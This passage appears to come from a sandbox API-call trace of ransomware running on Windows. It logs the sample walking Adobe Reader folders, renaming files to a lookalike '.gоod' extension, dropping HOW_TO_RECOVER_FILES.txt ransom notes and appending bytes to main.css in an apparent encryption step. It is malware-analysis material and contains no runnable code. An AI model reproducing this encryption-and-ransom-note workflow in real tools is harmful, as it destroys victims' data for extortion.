DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0226.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0226.952] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x837d53f5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6d0)) returned 1 [0226.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0226.952] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\ui-strings.js.gоod")) returned 1 [0226.953] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0226.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0226.953] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0226.953] GetFileType (hFile=0x630) returned 0x1 [0226.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0226.954] GetFileType (hFile=0x630) returned 0x1 [0226.954] WriteFile (in: hFile=0x630, lpBuffer=0x381ed60*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x381ed60*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0226.955] CloseHandle (hObject=0x630) returned 1 [0226.955] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8a [0226.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebec0) returned 1 [0226.955] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0226.956] GetFileType (hFile=0x630) returned 0x1 [0226.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe30) returned 1 [0226.956] GetFileType (hFile=0x630) returned 0x1 [0226.956] WriteFile (in: hFile=0x630, lpBuffer=0x38226d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203ebf88, lpOverlapped=0x0 | out: lpBuffer=0x38226d8*, lpNumberOfBytesWritten=0x203ebf88*=0x5d0, lpOverlapped=0x0) returned 1 [0226.957] CloseHandle (hObject=0x630) returned 1 [0226.957] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203ec3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x86 [0226.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec8f0) returned 1 [0226.958] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0226.960] GetFileType (hFile=0x630) returned 0x1 [0226.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec860) returned 1 [0226.960] GetFileType (hFile=0x630) returned 0x1 [0226.961] WriteFile (in: hFile=0x630, lpBuffer=0x3826110*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203ec9b8, lpOverlapped=0x0 | out: lpBuffer=0x3826110*, lpNumberOfBytesWritten=0x203ec9b8*=0x5d0, lpOverlapped=0x0) returned 1 [0226.962] CloseHandle (hObject=0x630) returned 1 [0226.962] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0226.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ed320) returned 1 [0226.962] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0226.963] GetFileType (hFile=0x630) returned 0x1 [0226.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed290) returned 1 [0226.963] GetFileType (hFile=0x630) returned 0x1 [0226.963] WriteFile (in: hFile=0x630, lpBuffer=0x3829a68*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203ed3e8, lpOverlapped=0x0 | out: lpBuffer=0x3829a68*, lpNumberOfBytesWritten=0x203ed3e8*=0x5d0, lpOverlapped=0x0) returned 1 [0226.964] CloseHandle (hObject=0x630) returned 1 [0226.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ed3b0) returned 1 [0226.965] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select", nBufferLength=0x105, lpBuffer=0x203ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select", lpFilePart=0x0) returned 0x71 [0226.965] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\*", lpFindFileData=0x203ed0d0 | out: lpFindFileData=0x203ed0d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0226.966] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.966] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0226.966] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0226.966] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0226.966] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0226.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2f0) returned 1 [0226.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2b0) returned 1 [0226.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ed3b0) returned 1 [0226.967] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select", nBufferLength=0x105, lpBuffer=0x203ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select", lpFilePart=0x0) returned 0x71 [0226.967] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\*", lpFindFileData=0x203ed0d0 | out: lpFindFileData=0x203ed0d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b3a0 [0226.967] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.967] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0226.967] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0226.967] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.967] FindClose (in: hFindFile=0x134b3a0 | out: hFindFile=0x134b3a0) returned 1 [0226.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2f0) returned 1 [0226.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2b0) returned 1 [0226.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0226.968] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css", lpFilePart=0x0) returned 0x75 [0226.968] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b4c0 [0226.968] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.969] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x27a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0226.969] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.969] FindClose (in: hFindFile=0x134b4c0 | out: hFindFile=0x134b4c0) returned 1 [0226.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0226.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0226.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0226.969] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css", lpFilePart=0x0) returned 0x75 [0226.970] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a680 [0226.970] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.970] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x27a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0226.970] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x27a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0226.970] FindClose (in: hFindFile=0x134a680 | out: hFindFile=0x134a680) returned 1 [0226.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0226.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0226.970] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css", lpFilePart=0x0) returned 0x7e [0226.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0226.970] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account-select\\css\\main.css"), fInfoLevelId=0x0, lpFileInformation=0x3848918 | out: lpFileInformation=0x3848918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x27a1)) returned 1 [0226.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0226.971] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css", lpFilePart=0x0) returned 0x7e [0226.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0226.971] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account-select\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0226.971] GetFileType (hFile=0x630) returned 0x1 [0226.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0226.971] GetFileType (hFile=0x630) returned 0x1 [0226.971] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x1000 [0226.971] ReadFile (in: hFile=0x630, lpBuffer=0x3848e00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec758, lpOverlapped=0x0 | out: lpBuffer=0x3848e00*, lpNumberOfBytesRead=0x203ec758*=0x1000, lpOverlapped=0x0) returned 1 [0226.972] CloseHandle (hObject=0x630) returned 1 [0226.973] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css", lpFilePart=0x0) returned 0x7e [0226.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0226.973] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account-select\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0226.973] GetFileType (hFile=0x630) returned 0x1 [0226.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0226.973] GetFileType (hFile=0x630) returned 0x1 [0226.973] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x27a1 [0226.973] WriteFile (in: hFile=0x630, lpBuffer=0x384a100*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203ec678, lpOverlapped=0x0 | out: lpBuffer=0x384a100*, lpNumberOfBytesWritten=0x203ec678*=0x10, lpOverlapped=0x0) returned 1 [0226.974] CloseHandle (hObject=0x630) returned 1 [0226.974] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 